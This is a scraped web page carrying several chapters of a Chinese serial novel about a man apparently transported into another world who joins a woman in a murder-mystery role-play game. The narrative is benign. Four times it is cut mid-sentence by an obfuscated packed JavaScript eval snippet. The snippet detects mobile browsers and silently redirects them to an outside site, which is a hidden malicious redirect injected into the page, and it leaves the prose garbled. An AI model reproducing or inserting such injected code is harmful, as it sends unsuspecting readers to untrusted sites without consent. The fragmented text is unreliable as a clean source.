l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458185|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 低下头又迅速抬起来,度数还是太浅了,我只能问她:“你要干什么?我送你回家,你家在哪里?” 她不回答,把右手覆在我的左胸上,感受到我擂鼓一般的心跳后满意地笑了起来,拉起我的右手也要去摸她的心跳,吓得我慌忙后撤手肘,撞在了车座上。 她说:“太刺激啦。” 我认同。因为我能感受到她再趴我身上久一会儿,我好几处的血管就要爆开了,怎么说我们都是两团鲜活的肉。 于是我挣扎着要将她推开,她推搡着躲闪,后腰撞在方向盘上疼得龇牙咧嘴。我不是故意的,但这下之后怕她受伤反而变得束手束脚起来。让她占到了上风。 当她把鼻子下面两片柔软的上唇和下唇一一卡位到我相同的位置时,我想我也被刺激到头脑糊涂了。我竟然很快就配合着她张开了嘴,连她扭着腰肢乱蹭也没有推阻。 这个世界本来就是这么奇怪的吗?我是被选派来接受考验的吗?我的理智告诉我不能放弃思考。 画画不小心压到了喇叭按钮,暧昧粘腻的气氛被这一声长鸣冲淡,救了我也救了画画她自己。 她拿手背抹了一把嘴,麻溜地从我身上翻下去,回到副驾驶座位上扣好安全带。又飞快地掏出手机导航好路线,架到前面说:“喏,我家,你按导航走就行。” 太流畅了,就好像刚刚什么意外也没有发生。我平复呼吸还花了好几秒。 一路上她又不说话了,我也不知道说什么好,直到我把车停在她家小区外的马路边,她一声不吭地下了车关上车门之后又敲我的车窗。 我把那边的车窗摇下去一些,她从那条裂缝里怼进来那双清澈又勾人的眼睛:“下来请你吃点东西。” 我确实很饿。我还没钱。我别无选择。 我们在路边的小馆子里点了两碗面和一笼包子。与我的大口大口形成鲜明对比的画画,就像在数碗里有几根。 “你明天要去投诉那个农家乐吗?”我问她。从公德情理上我是支持她去维权的,但是从私情上,我不希望她去,我需要继续这个剧本杀的游戏,因为除了这个可能关系到我的穿越,我目前没有别的头绪,我想她至少等我几天把线索集齐推理完。虽然有可能这个游戏也并没有什么相关。 画画显然也在犹豫,她手里的筷子在面碗里画圈:“不去了吧,好麻烦。我也不想玩这个剧本杀了。” 我心里一急,“不行”两个字脱口而出。 “怎么个行法?我现在不知道是谁,又没有证据,也不知道他们室外有没有监控,有监控也不一定给我看,看了也不一定能看出什么。” 她以为我说的不行是这个不行,不过确实没有证据,证据被我删了。 “那我们明天就假装继续玩游戏,回那个农家乐去找找看那附近有没有摄像头。” 我已经尽量说得天衣无缝了,画画还看着我若有所思。我又补了一句:“我陪你去。” 5. 梁上燕-6.21 梁上燕6月21日天晴 我其实真不大想去了,且不说难度的问题,还有需要在上面花费我未来更多的时间精力,以及会引来的亲友、或者还有其他社会人的关注也会让我觉得不自在。 小手执意要给我讨回公道的样子反而让我觉得有一丝丝的感动。就好比一艘飘在浩渺汪洋里的小叶子上,站着一个我,一回头,旁边还有一个小手一样,紧张和沮丧里莫名地掺杂进一些欣慰。 我怀疑这里头有吊桥效应的原因,这就能解释我刚刚在车上为什么会做出那样的举动,现在想来,还叫人脸红心跳。不然怎么解释我为何会有这样的冲动,莫不是想用另一种我能自己把控的身体行动,去遮盖掉在旅馆里那个暴露在摄像头之下不能自救的、光秃秃的自己。 但不可否认的是,我确实冲动了。我都没有问一下小手愿不愿意,他正义感这么足的样子,会不会过几天去告我猥谢? 我偷瞄了一下小手的脸色,也还泛着红,啊、也有可能是吃面吃太快热的。 我心里又有一个声音,祈祷小手再劝我几句继续参加游戏的话。我知道去找程可说不玩了这种话会让我难以启齿,当初说好的人是我,现在玩了一天又说不奉陪了,程可没有意见,我都要唾弃自己玩弄友情。小手劝劝我,再给我一点虚无缥缈的安全感,我就要顺水推舟了。 他又说明天去假装玩游戏,实际找摄像头。我放下筷子:“继续玩吧,不找摄像头了,就当我吃个哑巴亏。我总不会一直这么倒霉的。” 小手眼睛里的光明明灭灭,复又明明。他肯定是打游戏容易上瘾的类型。 我吃饱了,其实是我本来就不饿,碗里根本没有动几口。小手已经吃完了他的面,正夹起一个包子。那一笼包子八个,我想不能让小手不好意思吃,就夹走了一个准备细细地啃,把剩下的六个都推到小手跟前说:“我吃不下了,剩下的都归你了。” 小手歪个脖子:“面你也吃不下了吗?” “啊?嗯。” “我可以吃了吗?”他貌似诚恳地问。 我脸上没做什么表情,心里的小剧场已经开演。亲了他,现在连吃剩的面条他也不介意了吗?他是不是在得寸进尺?他是不是以为我是什么轻浮放浪的人?我要试探试探他是不是个好人。 “你不介意的话……”我话说了一半,他意会地把碗挪过去吃起来。他是真不介意,有种吃了这顿没下顿的急迫感。 “你家离这里远吗?”我问道。 他停顿了一下,说:“很远。” “那你吃完回家岂不是还要好久?没有好觉睡了。”我故意配上一副同情惋惜的语气,“我家客厅倒是空着,就是我没有买沙发……” 小手抬头对上我的眼睛,刚才我在车里摘了他的眼镜,现在他也没有戴上,于是跟看不清我一样蹙眉眯了一下眼又睁开。 我再次感叹小手这副皮囊确实相当具有迷惑性,眯着眼睛都透出一股精英人士正在思考问题的禁欲感,就是身上皱得不行的衬衫和这个不上档次的苍蝇馆子有些破坏氛围。只要我也眯起眼睛,就可以人为地模糊环境的影响。 “我睡车里就行了。”小手的话可以让我初步断定他还算个克己复礼的体面人。 “你这身衣服怎么办?明天还穿吗?”我想了想,怎么着小手也算是被我拖下水的,我该拿出一点责任感来,“不然我家有不穿了的大一点的T恤,给你凑合一下?裤子我可以给你熨一下。” 小手是懂如何适当地得寸进尺的,他问我说:“我可以在你家洗个澡吗?” 我偷偷吸进一大口气。我没往家里带过除了我爸以外的男性,我爸都不常来,这让我有一种家里要被陌生人入侵了的紧张感。我飞快地思索此时此刻我家是不是一团乱,垃圾有没有扔,衣裤有没有收,水池里有没有什么昨天没洗的碗,喝水的杯子有没有第二个。 “不方便就算了。” 我坐在凳子上,身上像起了跳蚤一样一阵乱挠:“也不是不行,就是我家没打扫。” 小手笑出声:“那算了。” 我不明白这个笑是什么意思,是对我的邋遢了如指掌了吗?我家也没有很脏的好吧?整体井井有条,细节放荡不羁,这能算脏乱差吗? 不能在形象问题上出现过分的口碑不佳,我便张口道:“你来洗嘛,也没有很不方便。” 直到我把小手领到我家门口,哆嗦着手摸钥匙开门的时候仍然难掩心中慌乱,我“不经意”地嘱咐他说:“你记得把衣服带进浴室哦,要是光着出来,我家有监控,可就要全都给你录下来了。” 小手问我:“你家也养了小动物吗?” “小动物?我养不活。” “那你怎么还装了监控?” “监控强盗小偷的。”我骗他的,我们小区治安管理还是可以的,我家根本就没装监控,连沙发都没有的家里,也没有什么贵重物品。 我把拖鞋摆到小手脚下,他这时候知道“局促”两个字怎么写了,那么大个人站在客厅里也不知道找个凳子坐下。 我说:“你刚吃完,过一会儿再洗吧。” 他点点头推门就要出去:“那我过一会儿再来。” 我哭笑不得地拦住他,拉开一个凳子给他坐,然后去柜橱里找了一圈,只能把我的水杯和咖啡杯洗了又洗,现烧上一壶水,又到处找那拆个拆过盒的茶叶被我放到哪里去了。 然后我想起好像被我放在冰箱里了,就去客厅开冰箱拿,路过小手看到他正埋头在桌上研究那张找了大半的拼图。 “能看出什么?”我凑到他身后问。 “我们剧本六个人里谁养了猫?”他不知道我在他身后弯着腰与他同看那张黑猫拼图,猝不及防地扭头没看到我的脸,只看到了我胸前衣服上的两条热带鱼,放大在他眼前。 看见两条热带鱼也能脸红的人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458186|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我是头一次见的。 他快速地回过头去,给我让出一点空间。我没有继续站在他背后,一边回答这只黑猫是主编家里养的,一边去找来了纸和笔,然后也拉了张凳子坐下来,我要和他好好讨论一下剧本剧情。 我把几个人物简单地梳理出来: 死者顾大全:《契机》杂志的主编。42岁。6月20日被发现自缢于家中。除保险箱里被洗劫一空以外,无其他财产损失。 杜小撰:文字撰稿人。顾主编的头号狗腿子。妙笔生花的写作能力曾经风靡一时,AI兴起之后他就日渐不愿深耕本职,走上邪门歪路,靠拍顾主编的马屁也混得风生水起。 赖不平:实习生。22岁。长期被顾主编和她的直系上司杜小撰使唤,性格倔强开朗,刚毕业还没遭受过多少社会的毒打,天天想着整点花活儿整顿职场。 姚发:广告和运营负责人。30岁。社交牛人,手里赞助商资源多得顾主编都要敬他三分。 画画:美术部老员工一枚。27岁。杂志社的透明人,不爱坐班,背地里还偷偷接别的单子。 小手:画画的助理。26岁。画画自己私下雇佣的非杂志社员工。一开始只是给画画干点描线、点餐、倒水的活儿,后来干得越发多了,像个全职的保姆。 皮老板:一个投资商人。31岁。与姚发私交甚多,与杂志社其他人的关系不明。 我在纸上画了许多的箭头,推过去给小手看:“还有什么要补充的关系吗?” 小手摇摇头,他是我的保姆,剧本里天天呆在我家,知道的还没我多。那么我就要问他了:“老实交代吧,你跟顾主编什么关系?能当上嫌疑人,你总不至于不认识他吧。” 小手两手一摊:“你别这么看着我,我不是凶手。”我便放下我翘着的二郎腿,让自己的攻击性减少一些,听他继续说道,“我是他资助的大学生。我没见过他,他也没见过我。算得上认识吗?” “你往后说,我自有定夺。” “这个资助不是无条件资助。我到大学结束的所有学费都是他负担的,帮他营造出一个热心公益回馈社会的良好社会形象。但我们私下里有协议,我毕业之后的10年里,每年要给他上交一定的金额作为报答。第一年2万,第二年4万,第三年6万,以此类推,今年正是第四年,该交8万了。要不我给你打工呢,你这里包吃包住的,能攒钱。” “你不给他他能拿你怎么办?” “他能拿我照片让我社会性死亡。” “哦!”我恍然大悟,那种照片是吧。 “到你了。”小手进入状态相当之快,攻守转换,开始对我进行询问排查。 我说:“我也不是凶手。我连动机都没有。”我玩游戏的时候也很认真的,赢了才有成就感,对小手,能说,但不能全说,谁知道他有没有也对我留一手。 厨房里的热水壶“嗒”一声跳出烧开了的声音。 6. 柏青-6.21 柏青6月21日天晴 热水壶烧开的声音打断了我们的谈话,画画立马起身去泡茶了。我看着她在纸上写的那些人物,除了画画和顾主编,其他人我知之甚少,就连画画也是藏着掖着的,根本无从推理。 我起身追到厨房门口,防止她蓄意跳过自己的故事线。 她打开茶叶盒之后认真地考虑着该放多少茶叶,我说:“晚上了,不喝茶叶茶了吧。” 她又“对哦”一声把茶叶收起来了,说:“我们家有喝茶叶茶的待客之道。”她倒了两杯开水端到客厅桌上,又去翻冰箱里有没有什么水果,我一路跟着她提醒她继续说她的剧本故事。 画画说:“我的故事线好简单的。就是顾主编不给升职加薪,我就私底下接商单,顾主编天天给我的工作设置框架,我就偷偷搞自由创作在网络上发表。”她手里拿着一颗桃子,关上冰箱门,倚在门上,好整以暇地看着我,眼睛里全是狡黠:“你看,我有自己的排解方式,我没道理去杀顾主编。” 我觉得不止这么简单,但我不知道从何问起,手头上的线索近乎没有。 画画把桃子塞到我手里,说去给我找换洗的衣服。我低头一看那颗桃子,坏了的一小块都在淌水了,她居然没有发现,没摸到坏就是没坏吗? 我只能抽了一张纸巾垫在桃子下面放到桌上,等她自己看着处理。 画画拿着衣服出来,看桃子规规矩矩地躺在桌上,问我怎么不吃,我说坏了。她“嘿嘿”一笑:“我们家还有吃水果的待客之道。” 我要去接她手上的衣物,她顺手就交到我手上,带我到浴室后,又指指浴室门口放着的一个小板凳:“干净的衣服可以先放这里。”面面俱到地领我把她浴室的脏衣篓、冷热水开关、洗发露、沐浴露、洗面奶认了个全。 我说:“我有点生活常识的,也识字。” 画画一副瞧不起人的样子,举着她的洗发露:“这是英文!英文!” 我说:“我也认识英文。” “好吧,算你有学问。”她遗憾地退出了浴室。 我脱了上衣,想起没有擦干的毛巾,心里叹一口气,这衬衫是彻底不打算要了,待会儿就拿它擦水。浴室门响起两下轻轻的敲门声,我正想把衬衫再套上去开门,画画在外面推开一条小缝,伸进来一只手,手里抖着一条新毛巾。 不愧是干后勤的,画画以后要是去我公司应聘,我没准真想给她录用下来。可惜不可能有这个机会了,我们压根不是一个世界的人。 这个世界的一切过于真实,到底是平行世界还是小说世界我都没有办法笃定。怎么会选中我这个平时不看小说的人,这不是点兵点将点到一个残废了吗? 也许等会儿我可以去和画画借一下网络,搜索一下这个世界的具体细节,能否和我脑子里的匹配上,如果这里也承认我格蓝科技是世界上最有潜力的科技公司,那它就是平行世界,如果这里连格蓝科技都没有,那它就是小说世界。 但不管是哪个世界,我都需要想个办法跟画画借点钱,能让回去之前不被饿死。剧本杀的游戏里小手靠着画画过日子,现在的我没了画画估计也够呛。 问题是我借了钱日后也没有办法还,我能把什么留给她?那辆甲壳车吗?不行,那是我的半条命。 说到车。白天我开车的时候留意了一下,这里路上的车牌照与我的结构大致相同,等会可以再去搜搜看这个世界里用我这个车牌号的车是辆什么车,但不能查证车主是不是叫柏青有些惋惜,这种在平行世界里遇到另一个自己的情景想想还挺刺激。 浴室的水蒸气蒸得我脑袋也跟泡开了一样,想了许多没有条理又亟待厘清的事情。我还没有思考关于剧本的细节问题,但我不能再洗了,再洗就该饿了。 我擦干后穿衣服的时候拿起画画给我准备的衣服,上半身的T恤还好,我穿进去也很宽松,下半身她拿了一条什么给我?一条黑色的裙子。除了颜色我能接受,别的没有我能接受的。 是故意的还是刻意的?不是什么恶趣味吧。我坚定地套上了我原来的裤子走出去。 画画在窗口的地上垫了一块小毯子,背后枕着抱枕,手里搂着手机,不知道正在看什么,笑得咯吱咯吱响。 她抬头看见我出来了,问我怎么裤子没换下来。 我说:“你是不是拿错了?”把手里的裙子展开挂在我的两手间,“这个是给我穿的吗?” 画画面不改色:“我没有宽松一些的裤子,你先凑合穿一会儿,我马上就去把你的裤子洗了熨一下,很快的。” 我说我自己洗,你等会到浴室门口来拿。画画的眼睛转了一圈:“那你自己洗吧,我再玩会儿手机。” 我缩回浴室把裤子搓了,在里面敲门喊画画来拿,她伸手接过去,仍旧笑得咯吱咯吱的。我闭上眼睛,最好再睁开就回去了,这一天的冒险全是梦一场,但没有,我还是窝在画画家的浴室里,窝囊得好比鹌鹑。 就当我是真的小手好了,我现在不是柏青。小手本来就是被画画拿捏得死死的,甚至到了爱的地步,我对画画隐瞒的动机里,就有这一条,我知道顾主编一直在打压她,让她无限制地改方案,让她离校对没剩两天的时候,还在纠结于拿方案ABCDE中的哪一个出来重新改一改去糊弄他。 我不能现在就把所有的剧本内容向画画坦白,在我没有赢得胜利、通关剧本之前。画画一定也是有胜负心的,我能看出来。 雾气还没有完全散去的镜子里,我看着自己的脸,一如既往的熟悉,又蔓延出莫名其妙的陌生。太糟糕了,我为什么要经历这些,有生之年我也没做什么缺德事啊。 画画在外面敲门,她开出一条缝把裤子递进来。我拿到手正要穿,画画又伸进来一只手,攥着的拳头展开,掌心里一块乱七八糟的纸糊糊。 “这是什么?”我问道。 “你裤子里的小票,这可不是我干的哦,你自己洗烂的。” 我从她手心里拈起这团纸,扔到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458187|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垃圾桶里。是我穿越之前午饭结账的小票,一顿并不愉快的午饭。 从浴室整理完毕之后出去,画画已经没在玩手机了,坐在桌前,对着那张人物关系网乱涂乱画。我正准备说走,想起还有没完成的事。 我说:“画画,你家的WiFi是什么?” 画画抬一下头,报给我,我的手机却连不上这个世界的网络,只能再去跟画画借用电脑。 她问我要干什么,犹犹豫豫又紧张兮兮地把平板拿出来,嘱咐我不准乱翻她的其他软件,不准浏览她的个人信息,我一一应允着点开了她的浏览器。 真不是我主动去浏览她的个人信息,她的浏览记录没有删除,下面一排字撞进我的视线里,挡也挡不住。 “什么病历单可以请长假” “化妆伪装酒精过敏” “十二星座6月运势” “会计坐牢的真实案例” 还有些其他五花八门的搜索记录,充满幻想脱离现实又紧扣现实。 我搜索了格蓝科技,没有,这个世界根本没有这家公司。我又去搜索了我的车牌号,也没有,我开始不确定我的车能不能再上路。我去母校的官网上搜索师资信息,如果教授是存在的,那么另一个“我”应该也是存在的吧?母校是存在的,教授却是不存在的。那么,我可以这么理解的吧,这是一个依照现实虚构出来的世界,趴在桌上正兴致勃勃地在本子上涂鸦的画画,是个二次元的纸片人。 我把平板还给画画,耻辱地开口乞讨:“画画你能借我一点钱吗?” “钱”这个字无论在哪里,都是一个敏感词。画画明显愣了一下,我们连朋友都不是,向她借钱确实十分冒昧。 她不是很高兴,但还是掏出手机,问我:“五十块钱够吗?” 我想五十块钱省一省也能吃好几顿饭,借得多欠得多,就说够了。 画画说:“收款码,我转给你。” 轮到我愣了一下,我说:“可以现金吗?” 画画狐疑:“你手机坏了?” 我点点头,悄悄把手机掐到关机,拿出来推给画画:“抵押给你。” 画画的不高兴少了一些,她把手机推还给我:“哎,搞这些,不就是五十块钱嘛。” 但我在这个世界留着手机也没有什么用,万一某个时候我又穿回去了,画画还能拿我的手机去二手商那里换个五十块钱。我便没有拿回我的手机。 画画在房间里翻找了许久不知道放到哪里去了的钱包,幸好钱包里还是有些现金的。一张一百块和一些零零散散的一块五块纸币硬币。她只能把一百的纸币交给我,我血赚五十块钱。画画也很高兴,她不记得自己钱包里还有钱了,也血赚一把一块和五块的零钱。 我打算回车上去了,同画画约定明天碰头的时间。她执意要晚一点,我执意要早一点,我说:“你起不来那我明天就先去。” 画画不愿意:“好吧,那我明天早点起来。十点够早了吧?” 7. 梁上燕-6.22 梁上燕6月22日周日天晴 小手开口说借钱的时候我的雷达就在滴滴作响,这难道是什么新型骗局。但想想就五十,他现在在我家,我不给他万一他揍我,我保准打不过他。 好在他说要把手机押在我这里,洗脱了他骗子的嫌疑。这个人反复地在我雷区和安全区来回蹦跶。 把小手送走之后就轮到我自己洗漱了,浴室的垃圾桶里躺着小手的衬衫和糊成一团的小票。我一边刷牙一边想把白天七七八八的事情仔细捋捋,但今天事又多又奇妙又生气,我的脑子说它不想回忆,于是我倒头就睡。 醒来时已是上午九点半还多。好险,没有迟到。 我又飞快地洗脸刷牙,还有时间把我的帽子翻出来戴上。这两天在户外太阳晒得眼睛都睁不开。 九点五十九分,我准时敲响了小手的车门。 我刚爬上车,小手就问我吃早饭了没有。我说我已经进化掉早饭需求了。小手把一个纸袋子交到我手里,我翻开,里面躺着一个红薯一个鸡蛋。 这太健康了。我说:“我想吃烤鸭。” 小手;“我没钱买烤鸭。” 又戴回了眼镜的小手,一派斯文的举止背后,穿着我的T恤,花着我的钱给我买了一份寡淡无比的早饭。我把鸡蛋吃了,红薯还留在袋子里。 小手问我:“我们上午去把农家乐的线索找齐了,下午去下一个地点行不行?” 我在手机里翻看和程可的聊天记录,她没说这游戏得赶进度呀,她说有的玩得慢的队伍能玩两个月,最后还吹了。 “这个游戏有这么上头吗?”我问他。 小手的手在方向盘上划了个大概四十五度,点头说:“你不觉得很有意思吗?” 很有意思我暂时还没有感受到。小手把纸巾塞到我手里擦手,他并不好奇我对刚刚的问题的回答,又问了下一个问题:“你有驾照吗?” 我斜过眼去看他:“你不会是不仅没有带身份证出门,也没有带驾驶证吧?”这玩意儿不应该放车上吗,至少我认识的人都是这样。 小手举起中间一个纸杯摇了摇,嘴角若有似无地挂着笑:“我刚才喝了一杯酒酿。” 什么?他不是故意的我不信。 我和他说:“你要是很喜欢你这辆车的话,你还是不要把它交到我手上了吧,我的驾照和我的阑尾一样,没有用过。” 小手:“阑尾也是有用的。” 我正在品他这句话,他又说:“我们搭公共交通去吧。” 这么热的天,有车不开,要去外面晒太阳,小手的脑筋是不是堵塞了。 我说:“那我们的进度岂不是更紧张了。” “那快点。” 我十分不情愿地又下了车。想了想,趁小手还没下来,我又绕到驾驶位那边去堵住他的门,弯腰在窗口外说:“要不还是我来开车吧,你帮我看着点。” 我的胆子向来大,考驾照的时候教练都害怕。小手反而迟迟不肯下车了,他与我隔着玻璃对峙了好一会儿。等他脸上的五味杂陈慢慢散去后,他从驾驶位挪去了副驾驶位。我便拉开车门坐上去,摸到了一年没摸过的方向盘。 这辆甲壳车的手感和教练车很不一样,但我无师自通地启动、出发。除了刹车和油门我踩得猛了一些,别的我觉得小手应该也挑不出什么毛病,这一路全是宽敞的大路,限制了我的发挥,我没能把他的宝贝磕了碰了。 直到我们到达农家乐门口的时候,我探着头找哪里有停车位,找到后嘴里又不自觉地说:“不知道我侧方停车的技术还在不在。” 小手松开捏着安全带的手,压在方向盘上:“你下来,我来停。” 他停就他停,我要下车,小手把手拿开,方向盘上留下了五根稀疏的水印。 这家农家乐给我留下了极差的印象,踏进它的大门,我就将身上的防晒服拢得更紧。小手应当是留意到我的动作了,他竟然用他满是手汗的手把我刻意压低的帽檐抬起来一些:“看路,你又没做错什么。” 我闻言抬头挺胸地往里迈步:“我当然没错。” 还剩三张拼图,我说分头行动,小手说一起行动。赶进度要效率是他,拖后腿的也是他。他不仅在雷区和安全区蹦跶,他还在想一出是一出的大门里进进出出。 我明天还要上班,也不想搞得太晚。但我也不想把时间花在和他争论行动策略上,有这个时间,我们都能找到一片拼图了。 按照先近后远,我们先后去厨房和仓库附近找了两块。拼起来之后,已经能够看出小黑猫在巴拉一个小蝴蝶造型的弹簧玩具,本着严谨求真的钻研态度,我们还是决定把最后那片也找出来。 藏宝图指向了车库。 正常的车库本来就是毛坯风的,这个车库更是简陋,走进去能闻到一股铁锈的味道,应该是只用作员工停一停非机动车辆的,里面除了几个正在充电的电瓶车,就只有些破旧自行车。 我想摸摸手边这辆自行车的车座底下会不会有拼图来着,一碰到它,它的后车轮就掉了下来,骨碌碌地滚到对面墙边倒下来。 诡异的感觉油然而生。小手不说话,整个车库就只有电瓶充电的“嘟——”声。我暗自发誓,我以后坚决不一个人进这种老旧小的空间。 小手在后面也不知摸了哪个开了防盗的电瓶车,整个车库里又响起一声接着一声的“哔嘟哔嘟”,害得人心脏骤停。 我得催促小手找快点,这个地方掉神经值,一扭头,小手人不见了,我脑子里那根线直接就断了,三步并作两步冲出了车库,站在门口朝里头喊:“小手!”我甚至不敢用太大的声音,车库外杂草丛生,有半人高,生怕惊醒了某个角落里的毒蛇疫鼠。 喊了两声没有回应,我觉得我已经不具备任何的思考能力了,只有生理反应逼得泪腺疯狂加工泪水。糊满了液体的眼眶里,瞥到仓库最深处的一辆三轮车后面有一个白色的影子在那里涌动。 气急败坏又撕心裂肺地又吼出一声:“小手!”脏话差点就衔接上了,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458188|185387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小子最好不要让我知道你的真名。 那个白色的影子站起身来,隔老远没事人一般疑惑地问我:“怎么了?发现什么了?” 我还是没忍住展现了我的低素质,站在原地冲他发脾气:“你去死罢!卡我的视角!” 他朝我缓缓走过来,从看不清楚表情的暗处走到光线好一些的两三米外,确认情况似的扶了一下眼镜,而后居然“呵哈哈”地笑出声:“你哭了?你哭什么呀?” 臭直男,跟你没话说。 看我脸色不大好,他又从他的狗嘴里吐出两句:“你要是不舒服,就在这里等我找好了。” “少瞧不起人。我就是不舒服也比你找得快。”我又走进车库里去。走到小手跟前的时候,他还是那副天真懵懂的傻样,还跟我说:“你也觉得这个游戏好玩了?不舒服还要玩。” 我梗着脖子问他:“你叫什么名字?” 小手愣住,本来就不明就里的脸上,眼镜又睁大了一丝:“我叫小手啊。” 我想我应该是跟小手熟络了很多,丝毫不觉得冒犯地说:“真名!” “……柏青。” “柏青,你今天晚上睁着眼睛睡觉吧。” 小手并没有痛失本名的羞耻感,他可能真的很大条,看着我又进入了找线索的状态里,这么跟我说道:“怎么要睁着眼睛睡?今晚凶手会出现?” “今晚我会出现,扎爆你的车胎。” 我走到最里面小手刚刚蹲着的那辆三轮车处,一脚踢在车胎上。我没有用多大的力气,是这辆薄铁皮的三轮太轻了,给它踢得移位了两寸,露出轮胎下面半埋在灰尘里的拼图,正好供我捡起来耀武扬威。 我把这片拼图举起来贴着右眼,左手指着自己,示意这是我找到的。 小手还在那里不服气:“你不叫我,现在举着这枚拼图的人就是我了。” 拼图交到他手上,和另外八张凑齐,治好了我的强迫症。这最后一张上,是一盏吊灯,小猫的玩具就挂在这盏吊灯上。 小手问我:“这是顾主编家里吗?” 我:“我哪知道,我又没去过他家里,你别炸我。” “那你怎么知道顾主编家里养了只黑猫的?” “他带小猫去参加比赛拿了个什么奖我不记得了,然后把照片贴在我们社里布告栏上,还给这只小猫登我们自己家杂志上了。” 是的,这还是品种猫呢,一只少见的纯黑色英短。 小手若有所思,我说:“你不信任我啊,小手。” 他把拼图收起来,严肃地看着我:“你都要扎我车胎了,还能信任吗?” “我怎么扎你车胎,你今晚还把车停我家楼下不成?你不开回家了?” 小手不说话,表情甚至有点忧郁,我这句话哪里说错了吗,这也能戳到他痛处? 他很快又收拾好情绪,说:“走吧,下一个地点。”我也行动起来追上他的步伐,他又顿住一下才继续走,“先去看看有没有昨晚的监控录像。” 8. 柏青-6.22 柏青6月22日周日天晴 我和画画去到前台,说在路灯附近丢东西了,前台却如论如何都给不出一个交代来,反而责备我们没有看好自己的行李物品。虽然不是在旅馆内丢东西,但总归是在这个农家乐内,前台也知道与我们争辩太多不占理,便只好问我们丢了什么,会帮着找找,有消息会通知我们。 画画眼睛一闭一睁给我使了个眼神,我没看懂。但我知道要跟着她走,我们一前一后走出了农家乐的大门。 她一面朝停车位走,一面频频回过头来跟我说话:“她肯定不会把监控给我们看的,万一看出什么事件出来,她还要给上级打报告,哪个牛马会冒大风险给办小事。” 我听完未置可否。捏着藏宝图和拼图坐到副驾驶位上,扬起手把手里这两样扔去后排,拼图摔在后面的椅背上,碎成一块一块的。 画画已经导航好了路线,我仰到靠背上,等她开车去下一个地方。 她的车技确实还有待进步,启动的时候就是一个猛子扎出去,我立马坐直了看她有没有撞到什么,她侧方停不进去,不能也出不去吧。 我差点就要出声说下去让我先开出去,但她手上的动作很快,也不怕死,擦着前面那辆车的车皮就上了路。我看得心惊肉跳,在这里出点车祸我连保险公司都联系不上。 还没有到目的地,画画就把车熄火在路边,我以为出了什么事。她说:“你等我一会儿。”然后就下车,钻进了人流里,一边看手机一边等红绿灯。 没过多久她就提着一包垃圾食品回来了。她早饭没吃上烤鸭,现在临近中午吃上了炸鸡。她给我发了一盒鸡块,又在左手右手分别各拿着一个汉堡问我要哪一个。 我问:“分别是什么?” 她说:“不能告诉你,这是盲盒。不然我就提前问你吃什么了。” “这两个真的有区别吗?”我问她的时候,她把怀里露出来的两个套餐里的玩具盒子拿纸巾掩盖了一下。 “好吧,没有区别,我要收集的小玩具只能点这个。”她把其中一个汉堡给了我,又去袋子里摸索可乐。 我说我不喝可乐,糖分太高。她露出匪夷所思的表情:“这么讲究?你还做身材管理不成?” 纯粹是太甜了我不爱喝。我还没说汉堡我平时也不吃呢,只是今天不吃我就要花借来钱,压缩我的生存空间。 画画收回握着可乐的手,车上两杯可乐不好放,她说:“你不喝我喝。”将得到的玩具也放到后排座位上去,汉堡没吃就开始喝,喝完一杯人都喝饱了,汉堡又被塞回袋子里。 又用一句“我们出发吧。”掩盖刚打完气嗝的尴尬。 下一个线索藏在一家私人美术馆里。画画点着导航界面,嘴角噙着一丝笑意问我:“你艺术造诣怎么样?” “我没有艺术细胞。” “你是我的助手哎,你怎么会没有艺术细胞。” 我迟疑地看她,原来这会儿是在剧本里吗?那这个线索是跟画画有关的吧,她在这里摆出虚张声势的模样。但跟画画有关,理论上应该跟我也有关系,但我不记得我的剧本故事线里出现过美术馆这个地方。 我问她:“我们要买票进去吗?” “不用,我刚刚问过程可了,报她的名字就能进去。” 这段车程就不算太短了。车子驶过繁华的闹市区,眼前的景色里绿植的成分逐渐变多,但路依旧宽敞,甚至因为少了许多车辆反而更好走。 画画神秘地与我说:“你认识这一带吗?” 我知道不了一点,不管是剧本里还是剧本外。 她也不卖关子:“这是我们G城有名的富人区。” 确实,能看到的建筑,基本都是别墅的形状了。我问她:“你怎么知道的?” 画画:“顾主编的家就在这边。” 我一瞬间又从现实跳回了剧本里:“你还去过他家吗?” “我们出版社的人都去过,他在家里请过客。” 画画太可疑了。美术馆里的线索要是对她十分不利的话,她在我这里要变成头号嫌疑人。她现在有权保持沉默,但是她所说的每一句话都将成为呈堂证供。 